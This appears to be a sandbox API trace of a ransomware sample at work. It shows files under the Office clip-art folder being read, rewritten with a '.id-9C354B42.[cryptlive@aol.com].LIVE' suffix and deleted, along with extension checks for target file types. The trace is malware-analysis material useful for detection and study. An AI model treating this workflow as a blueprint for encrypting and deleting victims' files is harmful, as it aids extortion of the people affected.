ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xb594, lpOverlapped=0x0) returned 1 [0161.663] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xb5a0, lpOverlapped=0x0) returned 1 [0161.665] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.665] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.665] SetEndOfFile (hFile=0x3d0) returned 1 [0161.666] CloseHandle (hObject=0x3d0) returned 1 [0161.666] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.666] SetEndOfFile (hFile=0x38c) returned 1 [0161.671] CloseHandle (hObject=0x38c) returned 1 [0161.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0161.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.672] lstrlenW (lpString=".doc") returned 4 [0161.672] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.672] lstrlenW (lpString=".docx") returned 5 [0161.672] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0161.672] lstrlenW (lpString=".pdf") returned 4 [0161.672] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.672] lstrlenW (lpString=".xls") returned 4 [0161.672] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.672] lstrlenW (lpString=".xlsx") returned 5 [0161.672] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0161.672] lstrlenW (lpString=".ppt") returned 4 [0161.672] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.672] lstrlenW (lpString=".zip") returned 4 [0161.672] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.673] lstrlenW (lpString=".rar") returned 4 [0161.673] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.673] lstrlenW (lpString=".bz2") returned 4 [0161.673] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.673] lstrlenW (lpString=".7z") returned 3 [0161.673] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.673] lstrlenW (lpString=".dbf") returned 4 [0161.673] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.673] lstrlenW (lpString=".1cd") returned 4 [0161.673] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.673] lstrlenW (lpString=".jpg") returned 4 [0161.673] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.673] lstrlenW (lpString=".doc") returned 4 [0161.673] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.673] lstrlenW (lpString=".docx") returned 5 [0161.673] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0161.673] lstrlenW (lpString=".pdf") returned 4 [0161.673] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.674] lstrlenW (lpString=".xls") returned 4 [0161.674] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.674] lstrlenW (lpString=".xlsx") returned 5 [0161.674] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0161.674] lstrlenW (lpString=".ppt") returned 4 [0161.674] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.674] lstrlenW (lpString=".zip") returned 4 [0161.674] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.674] lstrlenW (lpString=".rar") returned 4 [0161.674] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.674] lstrlenW (lpString=".bz2") returned 4 [0161.674] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.674] lstrlenW (lpString=".7z") returned 3 [0161.674] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.674] lstrlenW (lpString=".dbf") returned 4 [0161.674] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.674] lstrlenW (lpString=".1cd") returned 4 [0161.674] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0161.674] lstrlenW (lpString=".jpg") returned 4 [0161.674] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.674] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.674] lstrlenW (lpString="J0168644.WMF") returned 12 [0161.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.675] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=20906) returned 1 [0161.675] CloseHandle (hObject=0x38c) returned 1 [0161.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 0x20 [0161.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.676] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.676] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0161.678] GetLastError () returned 0x0 [0161.678] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x51aa, lpOverlapped=0x0) returned 1 [0161.680] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x51b0, lpOverlapped=0x0) returned 1 [0161.681] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.682] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.682] SetEndOfFile (hFile=0x3d0) returned 1 [0161.682] CloseHandle (hObject=0x3d0) returned 1 [0161.682] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.682] SetEndOfFile (hFile=0x38c) returned 1 [0161.684] CloseHandle (hObject=0x38c) returned 1 [0161.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.686] lstrlenW (lpString=".doc") returned 4 [0161.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.686] lstrlenW (lpString=".docx") returned 5 [0161.686] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0161.686] lstrlenW (lpString=".pdf") returned 4 [0161.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.686] lstrlenW (lpString=".xls") returned 4 [0161.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.686] lstrlenW (lpString=".xlsx") returned 5 [0161.686] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0161.686] lstrlenW (lpString=".ppt") returned 4 [0161.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.686] lstrlenW (lpString=".zip") returned 4 [0161.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.686] lstrlenW (lpString=".rar") returned 4 [0161.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.686] lstrlenW (lpString=".bz2") returned 4 [0161.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.686] lstrlenW (lpString=".7z") returned 3 [0161.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.686] lstrlenW (lpString=".dbf") returned 4 [0161.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.686] lstrlenW (lpString=".1cd") returned 4 [0161.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.686] lstrlenW (lpString=".jpg") returned 4 [0161.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.687] lstrlenW (lpString=".doc") returned 4 [0161.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString=".docx") returned 5 [0161.687] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0161.687] lstrlenW (lpString=".pdf") returned 4 [0161.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString=".xls") returned 4 [0161.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.687] lstrlenW (lpString=".xlsx") returned 5 [0161.687] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0161.687] lstrlenW (lpString=".ppt") returned 4 [0161.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.687] lstrlenW (lpString=".zip") returned 4 [0161.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.687] lstrlenW (lpString=".rar") returned 4 [0161.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString=".bz2") returned 4 [0161.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString=".7z") returned 3 [0161.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.687] lstrlenW (lpString=".dbf") returned 4 [0161.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.687] lstrlenW (lpString=".1cd") returned 4 [0161.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0161.687] lstrlenW (lpString=".jpg") returned 4 [0161.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.687] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.688] lstrlenW (lpString="J0171685.WMF") returned 12 [0161.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.688] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14472) returned 1 [0161.688] CloseHandle (hObject=0x38c) returned 1 [0161.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 0x20 [0161.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.689] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.689] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0161.690] GetLastError () returned 0x0 [0161.690] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3888, lpOverlapped=0x0) returned 1 [0161.934] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3890, lpOverlapped=0x0) returned 1 [0161.935] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.935] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.935] SetEndOfFile (hFile=0x3d0) returned 1 [0161.935] CloseHandle (hObject=0x3d0) returned 1 [0161.935] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.935] SetEndOfFile (hFile=0x38c) returned 1 [0161.938] CloseHandle (hObject=0x38c) returned 1 [0161.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0162.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 1 [0162.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.029] lstrlenW (lpString=".doc") returned 4 [0162.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.029] lstrlenW (lpString=".docx") returned 5 [0162.029] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0162.029] lstrlenW (lpString=".pdf") returned 4 [0162.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.029] lstrlenW (lpString=".xls") returned 4 [0162.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.029] lstrlenW (lpString=".xlsx") returned 5 [0162.029] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0162.029] lstrlenW (lpString=".ppt") returned 4 [0162.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.029] lstrlenW (lpString=".zip") returned 4 [0162.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.029] lstrlenW (lpString=".rar") returned 4 [0162.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.029] lstrlenW (lpString=".bz2") returned 4 [0162.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.029] lstrlenW (lpString=".7z") returned 3 [0162.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.029] lstrlenW (lpString=".dbf") returned 4 [0162.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.030] lstrlenW (lpString=".1cd") returned 4 [0162.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.030] lstrlenW (lpString=".jpg") returned 4 [0162.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.030] lstrlenW (lpString=".doc") returned 4 [0162.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString=".docx") returned 5 [0162.030] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0162.030] lstrlenW (lpString=".pdf") returned 4 [0162.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString=".xls") returned 4 [0162.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.030] lstrlenW (lpString=".xlsx") returned 5 [0162.030] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0162.030] lstrlenW (lpString=".ppt") returned 4 [0162.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.030] lstrlenW (lpString=".zip") returned 4 [0162.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.030] lstrlenW (lpString=".rar") returned 4 [0162.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString=".bz2") returned 4 [0162.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString=".7z") returned 3 [0162.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.030] lstrlenW (lpString=".dbf") returned 4 [0162.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.030] lstrlenW (lpString=".1cd") returned 4 [0162.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0162.031] lstrlenW (lpString=".jpg") returned 4 [0162.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.031] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0162.031] lstrlenW (lpString="J0174635.WMF") returned 12 [0162.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0162.032] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=9736) returned 1 [0162.032] CloseHandle (hObject=0x1b0) returned 1 [0162.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 0x20 [0162.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0162.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0162.033] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.033] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 60 os_tid = 0x678 [0126.707] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a42318 [0126.707] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a52320 [0126.708] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0380 [0126.708] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93eda8 [0126.708] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0398 [0126.708] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x40f0020 [0126.708] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03b0 [0126.708] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d03b0, Size=0x20) returned 0x39c0b50 [0126.708] RtlAllocateHeap 